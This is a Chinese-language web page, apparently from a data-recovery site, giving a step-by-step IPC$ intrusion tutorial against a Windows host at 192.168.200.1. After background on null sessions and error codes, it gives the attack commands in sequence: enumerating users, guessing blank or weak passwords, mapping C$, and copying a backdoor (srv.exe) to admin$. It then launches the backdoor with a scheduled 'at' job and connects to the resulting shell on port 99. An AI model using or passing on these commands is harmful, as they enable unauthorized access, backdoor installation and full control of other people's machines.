数据恢复

首页 数据恢复 数据修复 硬盘维修 数据 硬盘 恢复软件 硬盘数据恢复 恢复 文件 中心
 

IPC$攻击全过程

一 什么是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表,也可以禁止nbt。。。


二 建立ipc$的作用

就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧。基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.


三 ipc$连接失败的原因

以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素


四 实战

以上是一些预备知识,希望能看懂。。接下来是具体的操作。。

首先你要有个目标,即你有了对方的一些信息,比如我们现在要攻击一个IP为192.168.200.1的主机。这个主机满足可以用IPC的条件。这个时候我们先进命令行下,输入建立空连接的命令:
  net use \192.168.200.1\ipc$ "" /user:""        (一定要注意:这一行命令中包含了3个空格)
这个时候如果成功了,接下来就可以
nbtstat -A 192.168.200.1 (这个命令可以查看对方有几个用户名和用户组)
如果失败的话,请查看具体原因。。
通过以上简单的步骤就可以拿到对方的用户名资料。。  
接下来可以选择用字典进行密码强行破解。。
然后映射默认共享:
net use z: \192.168.200.1\c$ "密码" /user:"用户名"       (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \192.168.200.1\c$ 这样就入侵入对方硬盘咯。。
在这里不对字典攻击做介绍,因为网上有好多用户都设置了弱口令,比如空口令,123456等等,这些我们可以利用起来,这个时候建立的就不是空链接了。。。可以如下:
net use \192.168.200.1\IPC$ "" /user:"admintitrators"
这是用户名是administrators,密码为"空"的IP地址,如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
然后  copy srv.exe \192.168.200.1\admin$
先复制srv.exe(一个后门)上去,(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。这里也就是说你可以随便给对方上传啥东东。。。我们这里为了更好的控制,所以上传了个后门srv.exe。。上传成功后得要让它启动啊。。可以如下操作:
先  net time \192.168.200.1
查查时间,发现192.168.200.1 的当前时间是 2005/4/14 上午 11:00,命令成功完成。  
然后  at \192.168.200.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)   
  再用 net time \192.168.200.1
再查查到时间没有?如果192.168.200.1的当前时间是 2005/4/14上午 11:05,那就准备开始下面的命令。
telnet 192.168.200.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。

好了,到这里,我们成功取得了对方的cmd shell。。接下来可以随意操作啦。。^_^。。一切的入侵就是为了拿到权限。。而权限的执行者便是shell。。所以只要拿到了shell即可完全控制对方。。。


相关连接:

相关评论:

 

商务服务

中控系统

中控系统论坛

数据修复

中控

硬盘数据恢复

特别推荐

 

推荐广告

 

Copyright ©2003 - 2005 目录大全